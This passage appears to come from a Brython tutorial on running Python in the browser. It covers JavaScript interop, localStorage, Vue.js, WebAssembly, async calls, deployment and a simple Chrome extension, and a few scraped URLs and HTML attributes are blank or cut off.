You can read the above code as “add to the table element a table head element containing a table row element composed of two adjacent table data cell elements. It’s rendered in the browser as the following HTML code:
<table> <thead><tr><th>Text</th><th>Base64</th></tr></thead> </table>
The HTML code shows a nested structure for the header row of a table element. Here’s a more readable format of the same code:
<table> <thead> <tr> <th>Text</th> <th>Base64</th> </tr> </thead> </table>
To observe the result in the Brython console, you can enter the following code block:
>>> from browser import html >>> table = html.TABLE() >>> table <= html.THEAD(html.TR(html.TH("Text") + html.TH("Base64"))) >>> table.outerHTML '<table><thead><tr><th>Text</th><th>Base64</th></tr></thead></table>'
To execute the full code, you need to start a web server. As before, you start the built-in Python web server in the same directory as the two files
index.html and
main.py:
$ python3 -m http.server Serving HTTP on :: port 8000 (http://[::]:8000/) ...
After starting the web server, point your browser to. The page looks like this:
You’ll extend this example in the section Browser Web API by allowing the data to be stored between page reloads.
Import in Brython
You can use
import to access Python modules or Brython modules compiled to JavaScript.
Python modules are files with a
.py extension in the root folder of your project or, for a Python package, in a subfolder containing an
__init__.py file. To import Python modules in your Brython code, you need to start a web server. For more on the Python modules, check out Python Modules and Packages – An Introduction.
To explore how to import Python modules into your Brython code, follow the instructions described in the section on installing with PyPI, create and activate a Python virtual environment, install Brython, and modify
index.html as follows:
<!doctype html> <html> <head> <meta charset="utf-8"> <script type="text/javascript" src="brython.js"></script> <script type="text/javascript" src="brython_stdlib.js"></script> </head> <body onload="brython()"> <script type="text/python"> from browser import document, html, window import sys import functional selection = functional.take(10, range(10000)) numbers = ', '.join([str(x) for x in selection]) document <= html.P(f"{sys.version=}") document <= html.P(f"{numbers=}") </script> </body> </html>
The HTML file above exposes modules imported from the core engine (
browser), from the standard library (
sys), and from a local Python module (
functional). Here’s the content of
functional.py:
import itertools def take(n, iterable): "Return first n items of the iterable as a list" return list(itertools.islice(iterable, n))
This module implements
take(), one of the
itertools recipes.
take() returns the first n elements of a given iterable. It relies on
itertools.slice().
If you try to open
index.html from the file system with your browser, then you’ll get the following error in the browser console:
Traceback (most recent call last): File line 3, in <module> import functional ModuleNotFoundError: functional
Importing a Python module requires starting a local web server. Start a local web server and point your browser to. You should see the following HTML page:
With a running web server, the browser was able to fetch the module
functional.py when
import functional was executed. The results of both values,
sys.version and
numbers, are inserted in the HTML file by the last two lines of the embedded Python script and rendered by the browser.
Reduce Import Size
In the project directory of the previous example, to reduce the size of the imported JavaScript modules and to precompile Python modules to JavaScript, you can use
brython-cli with the option
--modules:
$ brython-cli --modules Create brython_modules.js with all the modules used by the application searching brython_stdlib.js... finding packages... script in html index.html
This will generate
brython_modules.js, and you can modify the
head element of
index.html as follows:
1<head> 2<meta charset="utf-8"> 3<script type="text/javascript" src="brython.js"></script> 4<script type="text/javascript" src="brython_modules.js"></script> 5</head>
Line 4 changes the original script source from
brython_stdlib.js to
brython_modules.js.
Opening
index.html with your browser or pointing the browser to the local server renders the same HTML page. Notice the following points:
- You can render the HTML page in your browser, without running a web server.
- You don’t need to distribute
functional.pysince the code has been converted to JavaScript and bundled in
brython_modules.js.
- You don’t need to load
brython_stdlib.js.
The command-line tool
brython-cli --modules provides a solution to remove unnecessary code from the standard libraries and compiles your python module to JavaScript code. This helps to package your application and results in a smaller resources download.
Note: Similarly to importing a Python module, loading a Python module with the HTML
script element requires you to start a web server. Consider the following HTML
script element:
<script src="main.py" type="text/python"></script>
When the Brython function is executed and loads a
script content pointing to a Python file, it attempts to execute an Ajax call that can only be done when a web server is running. If you try to open the file from the file system, then an error similar to the following is displayed in the browser JavaScript console:
IOError: can't load external script at (Ajax calls not supported with protocol)
Security protection prevents you from loading
main.py from the local file system. You can resolve this issue by running a local file server. For more information about this behavior, see the Brython documentation.
Interacting With JavaScript
Brython allows Python code to interact with JavaScript code. The most common pattern is to access JavaScript from Brython. The reverse, although possible, isn’t common. You’ll see an example of JavaScript invoking a Python function in the section JavaScript Unit Tests.
JavaScript
Up to this point, you’ve experienced a few scenarios where Python code interacted with JavaScript code. In particular, you’ve been able to display a message box by invoking
browser.alert().
You can see
alert in action in the following three examples running in the Brython console, not in the standard CPython interpreter shell:
>>> import browser >>> browser.alert("Real Python")
Or you can use
window:
>>> from browser import window >>> window.alert("Real Python")
Or you can use
this:
>>> from javascript import this >>> this().alert("Real Python")
Due to the new layer exposed by Brython and the global nature of both
alert() and
window, you can invoke
alert on
browser.window or even on
javascript.this.
Here are the main Brython modules allowing access to JavaScript functions:
In addition to JavaScript functions and APIs available in the browser, you can also access to JavaScript functions that you wrote. The following example demonstrates how to access a custom JavaScript function from Brython:
1<!doctype html> 2<html> 3 <head> 4 <meta charset="utf-8"> 5 <script 6 7 </script> 8 <script type="text/javascript"> 9 function myMessageBox(name) { 10 window.alert(`Hello ${name}!`); 11 } 12 </script> 13 </head> 14 <body onload="brython()"> 15 <script type="text/python"> 16 from browser import window 17 window.myMessageBox("Jon") 18 </script> 19 </body> 20</html>
Here’s how it works:
- Line 9 defines the custom function
myMessageBox()in a JavaScript block.
- Line 17 invokes
myMessageBox().
You can use the same feature to access JavaScript libraries. You’ll see how in the section Web UI Framework, where you’ll interact with Vue.js, a popular web UI framework.
Browser Web API
Browsers expose web APIs that you can access from JavaScript, and Brython has access to the same APIs. In this section, you’ll extend the Base64 calculator to store the data between browser page reloads.
The web API allowing this feature is the Web Storage API. It includes two mechanisms:
You’ll use
localStorage in the upcoming example.
As you learned earlier, the Base64 calculator creates a dictionary containing the input string mapped to the Base64-encoded value of this string. The data persists in memory after the page is loaded but is purged when you reload the page. Saving the data to
localStorage will preserve the dictionary between page reloads. The
localStorage is a key-value store.
To access
localStorage, you need to import
storage. To stay close to the initial implementation, you’ll load and save the dictionary data to
localStorage in the JSON format. The key to save and fetch the data will be
b64data. The modified code includes new imports and a
load_data() function:
from browser.local_storage import storage import json, base64 def load_data(): data = storage.get("b64data") if data: return json.loads(data) else: storage["b64data"] = json.dumps({}) return {}
load_data() is executed when the Python code is loaded. It fetches the JSON data from
localStorage and populates a Python dictionary that will be used to hold the data in memory during the life of the page. If it doesn’t find
b64data in
localStorage, then it creates an empty dictionary for key
b64data in
localStorage and returns an empty dictionary.
You can view the full Python code incorporating
load_data() by expanding the box below. It shows how to use the
localStorage web API as persistent storage rather than relying on ephemeral in-memory storage, like in the previous implementation of this example.
The following code shows how to manage data using the browser
localStorage:
1from browser import document, prompt, html, alert 2from browser.local_storage import storage 3import json, base64 4 5def load_data(): 6 data = storage.get("b64data") 7 if data: 8 return json.loads(data) 9 else: 10 storage["b64data"] = json.dumps({}) 11 return {} 12 13def base64_compute(evt): 14 value = document["text-src"].value 15 if not value: 16 alert("You need to enter a value") 17 return 18 if value in b64_map: 19 alert(f"'{value}' already exists: '{b64_map[value]}'") 20 return 21 b64data = base64.b64encode(value.encode()).decode() 22 b64_map[value] = b64data 23 storage["b64data"] = json.dumps(b64_map) 24 display_map() 25 26def clear_map(evt): 27 b64_map.clear() 28 storage["b64data"] = json.dumps({}) 29 document["b64-display"].clear() 30 31def display_map(): 32 if not b64_map: 33 return 34 table = html.TABLE(Class="pure-table") 35 table <= html.THEAD(html.TR(html.TH("Text") + html.TH("Base64"))) 36 table <= (html.TR(html.TD(key) + html.TD(b64_map[key])) for key in b64_map) 37 base64_display = document["b64-display"] 38 base64_display.clear() 39 base64_display <= table 40 document["text-src"].value = "" 41 42b64_map = load_data() 43display_map() 44document["submit"].bind("click", base64_compute) 45document["clear-btn"].bind("click", clear_map)
The new lines are highlighted. The global dictionary
b64_map is populated by
load_data() when the file is loaded and processed at the invocation of
brython(). When the page is reloaded, the data is fetched from the
localStorage.
Each time a new Base64 value is calculated, the content of
b64_map is converted to JSON and stored in the local storage. The key to the storage is
b64data.
You can access all the web API functions from
browser and other submodules. High-level documentation on accessing the web API is available in the Brython documentation. For more details, you can consult the web API documentation and use the Brython console to experiment with the web APIs.
In some situations, you may have to choose between familiar Python functions and functions from the web APIs. For example, in the code above, you use the Python Base64 encoding,
base64.b64encode(), but you could have used JavaScript’s
btoa():
>>> from browser import window >>> window.btoa("Real Python") 'UmVhbCBQeXRob24='
You can test both variations in the online console. Using
window.btoa() would work only in the Brython context, whereas
base64.b64encode() can be executed with a regular Python implementation like CPython. Note that in the CPython version,
base64.b64encode() takes a
bytearray as the argument type, whereas the JavaScript
window.btoa() takes a string.
If performance is a concern, then consider using the JavaScript version.
Web UI Framework
Popular JavaScript UI frameworks like Angular, React, Vue.js or Svelte have become an important part of the front-end developer’s tool kit, and Brython integrates seamlessly with some of these frameworks. In this section, you’ll build an application using Vue.js version 3 and Brython.
The application you’ll build is a form that calculates the hash of a string. Here’s a screenshot of the running HTML page:
The
body of the HTML page defines the bindings and templates declaratively:
<!DOCTYPE html > <html> <head> <meta charset="utf-8"/> <link rel="stylesheet" href=""/> <script src=""></script> <script src=""></script> <script src=""></script> <script src="main.py" type="text/python"></script> <style> body { padding: 30px; } [v-cloak] { visibility: hidden; } </style> </head> <body onload="brython(1)"> <div id="app"> <form class="pure-form" onsubmit="return false;"> <fieldset> <legend>Hash Calculator</legend> <input type="text" v-model. <select v- </option> </select> <button @Ok</button> </fieldset> </form> <p v-cloak></p> </div> </body>
If you’re not familiar with Vue, then you’ll cover a few things quickly below, but feel free to consult the official documentation for more information:
- Vue.js directives are special attribute values, prefixed with
v-, that provide dynamic behavior and data mapping between values of the DOM and Vue.js components:
- Vue templates are denoted with variables surrounded by double curly braces. Vue.js substitutes the corresponding placeholders with the corresponding value in the Vue component:
hash_value
name
- Event handlers are identified with an at symbol (
@) like in
@click="compute_hash".
The corresponding Python code describes the Vue and attached business logic:
1from browser import alert, window 2from javascript import this 3import hashlib 4 5hashes = { 6 "sha-1": hashlib.sha1, 7 "sha-256": hashlib.sha256, 8 "sha-512": hashlib.sha512, 9} 10 11Vue = window.Vue 12 13def compute_hash(evt): 14 value = this().input_text 15 if not value: 16 alert("You need to enter a value") 17 return 18 hash_object = hashes[this().algo]() 19 hash_object.update(value.encode()) 20 hex_value = hash_object.hexdigest() 21 this().hash_value = hex_value 22 23def created(): 24 for name in hashes: 25 this().algos.append(name) 26 this().algo = next(iter(hashes)) 27 28app = Vue.createApp( 29 { 30 "el": "#app", 31 "created": created, 32 "data": lambda _: {"hash_value": "", "algos": [], "algo": "", "input_text": ""}, 33 "methods": {"compute_hash": compute_hash}, 34 } 35) 36 37app.mount("#app")
The declarative nature of Vue.js is displayed in the HTML file with the Vue directives and templates. It’s also demonstrated in the Python code with the declaration of the Vue component on line 11 and lines 28 to 35. This declarative technique wires the node values of the DOM with the Vue data, allowing the reactive behavior of the framework.
This eliminates some boilerplate code that you had to write in the previous example. For instance, notice that you didn’t have to select elements from the DOM with an expression like
document["some_id"]. Creating the Vue app and invoking
app.mount() handles the mapping of the Vue component to the corresponding DOM elements and the binding of the JavaScript functions.
In Python, accessing the Vue object fields requires you to refer to the Vue object with
javascript.this():
- Line 14 fetches the value of the component field
this().input_text.
- Line 21 updates the data component
this().hash_value.
- Line 25 adds an algorithm to the list
this().algos.
- Line 26 instantiates
this().algowith the first key of
hashes{}.
If this introduction of Vue combined with Brython has spurred your interest, then you may want to check out the vuepy project, which provides full Python bindings for Vue.js and uses Brython to run Python in the browser.
WebAssembly
In some situations, you can use WebAssembly to improve the performance of Brython or even JavaScript. WebAssembly, or Wasm, is binary code that is supported by all major browsers. It can provide a performance improvement over JavaScript in the browser and is a compilation target for languages like C, C++, and Rust. If you’re not using Rust or Wasm, then you can skip this section.
In the following example that demonstrates a way to use WebAssembly, you’ll implement a function in Rust and will invoke it from Python.
This isn’t intended to be a thorough Rust tutorial. It only scratches the surface. For more details about Rust, check out the Rust documentation.
Start by installing Rust using
rustup. To compile Wasm files, you also need to add the
wasm32 target:
$ rustup target add wasm32-unknown-unknown
Create a project using
cargo, which is installed during the Rust installation:
$ cargo new --lib op
The command above creates a skeleton project in a folder named
op. In this folder, you’ll find
Cargo.toml, the Rust build configuration file, which you need to modify to indicate that you want to create a dynamic library. You can do this by adding the highlighted section:
[package] name = "op" version = "0.1.0" authors = ["John <john@example.com>"] edition = "2018" [lib] crate-type=["cdylib"] [dependencies]
Modify
src/lib.rs by replacing its content with the following:
#[no_mangle] pub extern fn double_first_and_add(x: u32, y: u32) -> u32 { (2 * x) + y }
In the root of the project, where
Cargo.toml is, compile your project:
$ cargo build --target wasm32-unknown-unknown
Next, create a
web directory with the following
index.html:
1<!-- index.html --> 2<!DOCTYPE html> 3<html> 4<head> 5 <script src=""></script> 6 <script src="main.py" type="text/python"></script> 7</head> 8<body onload="brython()"> 9 10<form class="pure-form" onsubmit="return false;"> 11 <h2>Custom Operation using Wasm + Brython</h2> 12 <fieldset> 13 <legend>Multiply first number by 2 and add result to second number</legend> 14 <input type="number" value="0" id="number-1" placeholder="1st number" 15 19 Execute 20 </button> 21 </fieldset> 22</form> 23 24<br/> 25<div id="result"></div> 26</body> 27</html>
Line 6 above loads the following
main.py from the same directory:
1from browser import document, window 2 3double_first_and_add = None 4 5def add_rust_fn(module): 6 global double_first_and_add 7 double_first_and_add = module.instance.exports.double_first_and_add 8 9def add_numbers(evt): 10 nb1 = document["number-1"].value or 0 11 nb2 = document["number-2"].value or 0 12 res = double_first_and_add(nb1, nb2) 13 document["result"].innerHTML = f"Result: ({nb1} * 2) + {nb2} = {res}" 14 15document["submit"].bind("click", add_numbers) 16window.WebAssembly.instantiateStreaming(window.fetch("op.wasm")).then(add_rust_fn)
The highlighted lines are the glue allowing Brython to access the Rust function
double_first_and_add():
- Line 16 reads
op.wasmusing
WebAssemblyand then invokes
add_rust_fn()when the Wasm file is downloaded.
- Line 5 implements
add_rust_fn(), which takes the Wasm module as an argument.
- Line 7 assigns
double_first_and_add()to the local
double_first_and_addname to make it available to Python.
In the same
web directory, copy
op.wasm from
target/wasm32-unknown-unknown/debug/op.wasm:
$ cp target/wasm32-unknown-unknown/debug/op.wasm web
The project folder layout look like this:
├── Cargo.lock ├── Cargo.toml ├── src │ └── lib.rs ├── target │ ... └── web ├── index.html ├── main.py └── op.wasm
This shows the folder structure of the Rust project created with
cargo new. For clarity,
target is partially omitted.
Now start a server in
web:
$ python3 -m http.server Serving HTTP on :: port 8000 (http://[::]:8000/) ...
Finally, point your Internet browser to. Your browser should render a page like the following:
This project shows how to create a WebAssembly that you can use from JavaScript or Brython. Due to the significant overhead resulting from building a Wasm file, this shouldn’t be your first approach for tackling a particular problem.
If JavaScript doesn’t meet your performance requirements, then Rust might be an option. This is mostly useful if you already have Wasm code to interact with, either code that you built or existing Wasm libraries.
Another possible benefit of using Rust to generate a WebAssembly is its access to libraries that don’t exist in Python or JavaScript. It can also be useful if you want to use a Python library that is written in C and that can’t be used with Brython. If such a library exists in Rust, then you might consider building a Wasm file to use it with Brython.
Applying Asynchronous Development in Brython
Synchronous programming is the computation behavior that you may be the most familiar with. For example, when executing three statements, A, B, and C, a program first executes A, then B, and finally C. Each statement blocks the flow of the program before passing it on to the next one.
Imagine a technique such that A would be executed first, B would be invoked but not executed immediately, and then C would be executed. You can think of B as a promise of being executed in the future. Since B is nonblocking, it’s considered asynchronous. For additional background on asynchronus programming, you can check out Getting Started With Async Features in Python.
JavaScript is single threaded and relies on asynchronous processing in particular when network communications are involved. For example, fetching the result of an API doesn’t require blocking the execution of other JavaScript functions.
With Brython, you have access to asynchronous features through a number of components:
As JavaScript has evolved, callbacks have been progressively replaced with promises or async functions. In this tutorial, you’ll learn how to use promises from Brython and how to use the
browser.ajax and
browser.aio modules, which leverage the asynchronous nature of JavaScript.
The
asyncio module from the CPython library can’t be used in the browser context and is replaced in Brython by
browser.aio.
JavaScript Promises in Brython
In JavaScript, a promise is an object that may produce a result sometime in the future. The value produced upon completion will be either a value or the reason for an error.
Here’s an example that illustrates how to use the JavaScript
Promise object from Brython. You can work with this example in the online console:
1>>> from browser import timer, window 2>>> def message_in_future(success, error): 3... timer.set_timeout(lambda: success("Message in the future"), 3000) 4... 5>>> def show_message(msg): 6... window.alert(msg) 7... 8>>> window.Promise.new(message_in_future).then(show_message) 9<Promise object>
In the web console, you can get immediate feedback about the execution of the Python code:
- Line 1 imports
timerto set a timeout and
windowto access the
Promiseobject.
- Line 2 defines an executor,
message_in_future(), that returns a message when the promise is successful, at the end of the timeout.
- Line 5 defines a function,
show_message(), that displays an alert.
- Line 8 creates a promise with the executor, chained with a
thenblock, allowing access to the result of the promise.
In the example above, the timeout artificially simulates a long-running function. Real uses of a promise could involve a network call. After
3 seconds, the promise completes successfully with the value
"Message in the future".
If the executor function,
message_in_future(), detects an error, then it could invoke
error() with the reason for the error as an argument. You can implement this with a new chained method,
.catch(), on the
Promise object, as follows:
>>> window.Promise.new(message_in_future).then(show_message).catch(show_message)
You can see the behavior of the successful completion of the promise in the following image:
When you run the code in the console, you can see that the
Promise object is created first, and then, after the timeout, the message box is displayed.
Ajax in Brython
Asynchronous functions are particularly useful when functions are qualified as I/O bound. This is in contrast to CPU-bound functions. An I/O-bound function is a function that mostly spends time waiting for input or output to finish, whereas a CPU-bound function is computing. Invoking an API over the network or querying a database is an I/O-bound execution, whereas calculating a sequence of prime numbers is CPU bound.
Brython’s
browser.ajax exposes HTTP functions like
get() and
post() that are, by default, asynchronous. These functions take a
blocking parameter that can be set to
True to render the same function synchronous.
To invoke HTTP
GET asynchronously, invoke
ajax.get() as follows:
ajax.get(url, oncomplete=on_complete)
To fetch an API in a blocking mode, set the
blocking parameter to
True:
ajax.get(url, blocking=True, oncomplete=on_complete)
The following code shows the difference between making a blocking Ajax call and a nonblocking Ajax call:
1from browser import ajax, document 2import javascript 3 4def show_text(req): 5 if req.status == 200: 6 log(f"Text received: '{req.text}'") 7 else: 8 log(f"Error: {req.status} - {req.text}") 9 10def log(message): 11 document["log"].value += f"{message} \n" 12 13def ajax_get(evt): 14 log("Before async get") 15 ajax.get("/api.txt", oncomplete=show_text) 16 log("After async get") 17 18def ajax_get_blocking(evt): 19 log("Before blocking get") 20 try: 21 ajax.get("/api.txt", blocking=True, oncomplete=show_text) 22 except Exception as exc: 23 log(f"Error: {exc.__name__} - Did you start a local web server?") 24 else: 25 log("After blocking get") 26 27document["get-btn"].bind("click", ajax_get) 28document["get-blocking-btn"].bind("click", ajax_get_blocking)
The code above illustrates both behaviors, synchronous and asynchronous:
Line 13 defines
ajax_get(), which fetches text from a remote file using
ajax.get(). The default behavior of
ajax.get()is asynchronous.
ajax_get()returns, and
show_text()assigned to the parameter
oncompleteis called back after receiving the remote file
/api.txt.
Line 18 defines
ajax_get_blocking(), which demonstrates how to use
ajax.get()with the blocking behavior. In this scenario,
show_text()is called before
ajax_get_blocking()returns.
When you run the full example and click Async Get and Blocking Get, you’ll see the following screen:
You can see that in the first scenario,
ajax_get() is fully executed, and the result of the API call happens asynchronously. In the second situation, the result of the API call is displayed before returning from
ajax_get_blocking().
Async IO in Brython
With
asyncio, Python 3.4 started to expose new asynchronous capabilities. In Python 3.5, asynchronous support has been enriched with the
async/
await syntax. Due to incompatibility with the browser event loop, Brython implements
browser.aio as a substitute for the standard
asyncio.
The Brython module
browser.aio and the Python module
asyncio both support using the
async and
await keywords and share common functions, like
run() and
sleep(). Both modules implement other distinct functions that pertain to their respective contexts of execution, the CPython context environment for
asyncio and the browser environment for
browser.aio.
Coroutines
You can use
run() and
sleep() to create coroutines. To illustrate the behavior of coroutines implemented in Brython, you’ll implement a variant of a coroutine example available in the CPython documentation:
1from browser import aio as asyncio 2import time 3 4async def say_after(delay, what): 5 await asyncio.sleep(delay) 6 print(what) 7 8async def main(): 9 print(f"started at {time.strftime('%X')}") 10 11 await say_after(1, 'hello') 12 await say_after(2, 'world') 13 14 print(f"finished at {time.strftime('%X')}") 15 16asyncio.run(main())
Except for the first
import line, the code is the same as you found in the CPython documentation. It demonstrates the use of the keywords
async and
await and shows
run() and
sleep() in action:
- Line 1 uses
asyncioas an alias for
browser.aio. Although it shadows
aio, it keeps the code close to the Python documentation example to facilitate the comparison.
- Line 4 declares the coroutine
say_after(). Note the use of
async.
- Line 5 invokes
asyncio.sleep()with
awaitso that the current function will cede control to another function until
sleep()completes.
- Line 8 declares another coroutine that will itself call the coroutine
say_after()twice.
- Line 9 invokes
run(), a nonblocking function that takes a coroutine—
main()in this example—as an argument.
Note that in the context of the browser,
aio.run() leverages the internal JavaScript event loop. This differs from the related function
asyncio.run() in CPython, which fully manages the event loop.
To execute this code, paste it into the online Brython editor and click Run. You should get an output similar to the following screenshot:
First the script is executed, then
"hello" is displayed, and finally
"world" is displayed.
For additional details about coroutines in Python, you can check out Async IO in Python: A Complete Walkthrough.
The generic concepts of asynchronous I/O apply to all platforms embracing this pattern. In JavaScript, the event loop is intrinsically part of the environment, whereas in CPython this is something that is managed using functions exposed by
asyncio.
The example above was an intentional exercise to keep the code exactly as shown in the Python documentation example. While coding in the browser with Brython, it’s recommended to explicitly use
browser.aio, as you’ll see in the following section.
Web Specific Functions
To issue an asynchronous call to an API, like in the previous section, you can write a function like the following:
async def process_get(url): req = await aio.get(url)
Note the use of the keywords
async and
await. The function needs to be defined as
async to use a call with
await. During the execution of this function, when reaching the call to
await aio.get(url), the function gives control back to the main event loop while waiting for the network call,
aio.get(), to complete. The rest of the program execution is not blocked.
Here’s an example of how to invoke
process_get():
aio.run(process_get("/some_api"))
The function
aio.run() executes the coroutine
process_get(). It’s nonblocking.
A more complete code example shows how to use the keywords
async and
await and how
aio.run() and
aio.get() are complementary:
1from browser import aio, document 2import javascript 3 4def log(message): 5 document["log"].value += f"{message} \n" 6 7async def process_get(url): 8 log("Before await aio.get") 9 req = await aio.get(url) 10 log(f"Retrieved data: '{req.data}'") 11 12def aio_get(evt): 13 log("Before aio.run") 14 aio.run(process_get("/api.txt")) 15 log("After aio.run") 16 17document["get-btn"].bind("click", aio_get)
As in the most recent versions of Python 3, you can use the
async and
await keywords:
- Line 7 defines
process_get()with the keyword
async.
- Line 9 invokes
aio.get()with the keyword
await. Using
awaitrequires the enclosing function to be defined with
async.
- Line 14 shows how to use
aio.run(), which takes as an argument the
asyncfunction to be called.
To run the full example, you need to start a web server. You can start the Python development web server with
python3 -m http.server. It starts a local web server on port 8000 and the default page
index.html:
The screenshot shows the sequence of steps executed after clicking Async Get. The combination of using the
aio module and the keywords
async and
await shows how you can embrace the asynchronous programming model that JavaScript promotes.
Distributing and Packaging a Brython Project
The method you use to install Brython may affect how and where you can deploy your Brython project. In particular, to deploy to PyPI, the best option is to first install Brython from PyPI and then create your project with
brython-cli. But a typical web deployment to a private server or to a cloud provider can leverage any installation method you choose.
You have several deployment options:
- Manual and automatic deployments
- Deployment to PyPI
- Deployment to a CDN
You’ll explore each of these in the following sections.
Manual and Automatic Web Deployments
Your application contains all the static dependencies, CSS, JavaScript, Python, and image files that you need for your website. Brython is part of your JavaScript files. All the files can be deployed as-is on the provider of your choice. You can consult the Web Development Tutorials and Automating Django Deployments with Fabric and Ansible for details on deploying your Brython applications.
If you decide to use
brython-cli --modules to precompile your Python code, then the files you deploy won’t have any Python source code, only
brython.js and
brython_modules.js. You also won’t include
brython_stdlib.js since the required modules will be included in
brython_modules.js already.
Deploying to PyPI
When you install Brython from PyPI, you can use
brython-cli to create a package that can be deployed to PyPI. The goals of creating such a package are to extend the default Brython template as a base for your custom projects and to make Brython websites available from PyPI.
After following the instructions in the section on installing from PyPI, execute the following command in your new
web project:
$ brython-cli --make_dist
You’ll be prompted to answer a few questions intended to create
brython_setup.json, which you can modify later. After completion of the command, you’ll have a directory called
__dist__ containing the files you need to create an installable package.
You can test the installation of this new package locally as follows:
$ pip install -e __dist__
Subsequently, you can also confirm that the new command deployed locally with the
web package by executing the following command:
$ python -m web --help usage: web.py [-h] [--install] optional arguments: -h, --help show this help message and exit --install Install web in an empty directory
Notice that the
web command behaves exactly as Brython does after an initial install. You’ve just created a custom installable Brython package that can be deployed to PyPI. For a thorough description of how to deploy your package to PyPI, check out How to Publish an Open-Source Python Package to PyPI.
Once deployed to PyPI, you can install your Brython package with
pip in a Python virtual environment. You’ll be able to create your new customized application with the new command you created:
$ python -m <application_name> --install
To summarize, here are the steps for deploying to PyPI:
- Install Brython from PyPI.
- Create a project with
brython-cli --install.
- Create an installable package from your project with
brython-cli --make-dist.
- Deploy this package to PyPI.
The other installation methods—CDN, GitHub, and npm—don’t include
brython-cli and therefore aren’t well suited to preparing a PyPI package.
Deploying to a CDN
Just as
brython.js and
brython_stdlibs.js are available on CDN servers, you can also deploy your static assets, images, styles, and JavaScript files, including your Python files or
brython_modules.js, to a CDN. Examples of CDNs include:
If your application is open source, then you can get free CDN support. Examples include CDNJS and jsDelivr.
Creating Google Chrome Extensions
Chrome extensions are components built with web technologies and incorporated into Chrome to customize your browsing environment. Typically, the icons of these extensions are visible at the top of the Chrome window, to the right of the address bar.
Public extensions are available on the Chrome web store. To learn, you’ll install Google Chrome extensions from local files:
Before undertaking the implementation of a Google Chrome extension in Brython, you’ll first implement a JavaScript version and then translate it into Brython.
Hello World Extension in JS
As a starter, you’ll implement an extension that will perform the following actions:
- Open a popup window when you click on the extension icon
- Open a prompt message when you click on the popup window button
- Append the message you entered at the bottom of the initial popup window
The following screenshot illustrates this behavior:
In an empty folder, create the file
manifest.json to configure the extension:
1// manifest.json 2{ 3 "name": "JS Hello World", 4 "version": "1.0", 5 "description": "Hello World Chrome Extension in JavaScript", 6 "manifest_version": 2, 7 "browser_action": { 8 "default_popup": "popup.html" 9 }, 10 "permissions": ["declarativeContent", "storage", "activeTab"] 11}
The important field for this example is the default popup file,
popup.html, which you’ll also have to create. For information on the other fields and more, you can consult the Manifest file format documentation.
In the same folder, create the
popup.html file used to define the user interface of the extension:
1<!-- popup.html --> 2<!DOCTYPE html> 3<html> 4 <head> 5 <script src="popup.js" defer></script> 6 </head> 7 <body> 8 <button id="hello-btn">Hello JS</button> 9 <div id="hello"></div> 10 </body> 11</html>
The HTML file includes a link to the JavaScript business logic of the extension and describes its user interface:
- Line 5 refers to
popup.js, which contains the logic of the extension.
- Line 8 defines a
buttonthat will be bound to a handler in
popup.js.
- Line 9 declares a field to be used by the JavaScript code to display some text.
You also need to create
popup.js:
1// popup.js 2'use strict'; 3 4let helloButton = document.getElementById("hello-btn"); 5 6helloButton.onclick = function (element) { 7 const defaultName = "Real JavaScript"; 8 let name = prompt("Enter your name:", defaultName); 9 if (!name) { 10 name = defaultName; 11 } 12 document.getElementById("hello").innerHTML = `Hello, ${name}!`; 13};
The main logic of the JavaScript code consists of declaring an
onclick handler bound to the field
hello-btn of the HTML container:
- Line 2 invokes the script mode that enables more stringent validation in JavaScript to reveal JavaScript mistakes.
- Line 4 selects the field identified by
hello-btnin
popup.htmland assigns it to a variable.
- Line 6 defines the handler that will process the event when a user clicks the button. This event handler prompts the user for their name, then changes the contents of the
<div>identified with
helloto the provided name.
Before installing this extension, take the following steps:
- Open the Google Chrome menu on the right-hand side of the screen.
- Open the submenu More Tools.
- Click Extensions.
A screen will display your currently installed extensions, if any. It may look like this:
To install your new extension, you’ll need to take the following steps:
- Ensure that the Developer mode is enabled on the top right-hand side of the screen.
- Click Load unpacked.
- Select the folder containing all the files you just created.
If no error occurred during the installation, then you should now see a new icon with a J on the right-hand side of your browser’s address bar. To test your extension, click the J icon of the toolbar displayed below:
If any errors occur during installation or execution, then you should see a red error button to the right of the extension card’s Remove button:
You can click Errors to display the error and identify the root cause. After correction, reload the extension by clicking the circular arrow at the bottom right of the extension card, then repeat the process until it works as you expect.
To test your newly installed extension, you can click the J icon displayed on the right-hand side of the browser toolbar. If the icon isn’t displayed, then click Extensions to list the installed extensions and select the pushpin button aligned with the JS Hello World extension you just installed.
Hello World Extension in Python
If you’ve reached this point, then you’ve already completed the most difficult steps, mostly to get familiar with the process of creating a Chrome extension and installing it. The steps will be similar with Brython, with a couple of differences that you’ll learn in this section.
The manifest file will be distinct, with a different extension name and, for good measure, a different description:
1// manifest.json 2{ 3 "name": "Py Hello World", 4 "version": "1.0", 5 "description": "Hello World Chrome Extension in Python", 6 "manifest_version": 2, 7 "browser_action": { 8 "default_popup": "popup.html" 9 }, 10 "content_security_policy": "script-src 'self' 'unsafe-eval';object-src 'self'", 11 "permissions": ["declarativeContent", "storage", "activeTab"] 12}
Note that you also have to include a new property,
content_security_policy. This is needed so that the policy against
eval() can be relaxed in the chrome extension system. Remember that Brython uses
eval().
This isn’t something that you introduced and that you can control in Brython. You’ll need to enable using
eval() if you want to use Brython as the language of your browser extension. If you don’t add
unsafe-eval to the
content_security_policy, then you’ll see the following error:
Uncaught EvalError: Refused to evaluate a string as JavaScript because 'unsafe-eval' is not an allowed source of script in the following Content Security Policy directive: "script-src 'self' blob: filesystem:".
The HTML file will also have a few updates, as follows:
1<!-- popup.html --> 2<!DOCTYPE html> 3<html> 4 <head> 5 <script src="brython.min.js" defer></script> 6 <script src="init_brython.js" defer></script> 7 <script src="popup.py" type="text/python" defer></script> 8 </head> 9 <body> 10 <button id="hello-btn">Hello Py</button> 11 <div id="hello"></div> 12 </body> 13</html>
The HTML code is very similar to the one you used to create a Chrome extension in JavaScript. A few details are worth noting:
- Line 5 loads
brython.min.jsfrom a local package. For security reasons, only local scripts are loaded and you can’t load from an external source like a CDN.
- Line 6 loads
init_brython.js, which invokes
brython().
- Line 7 loads
popup.py.
- Line 9 declares
bodywithout the usual
onload="brython()".
Another security constraint prevents you from calling
brython() in the
onload event of the
body tag. The workaround is to add a listener to the document and to indicate to the browser to execute
brython() after the content of the document is loaded:
// init_brython.js document.addEventListener('DOMContentLoaded', function () { brython(); });
Finally, you can see the main logic of this application in the following Python code:
# popup.py from browser import document, prompt def hello(evt): default = "Real Python" name = prompt("Enter your name:", default) if not name: name = default document["hello"].innerHTML = f"Hello, {name}!" document["hello-btn"].bind("click", hello)
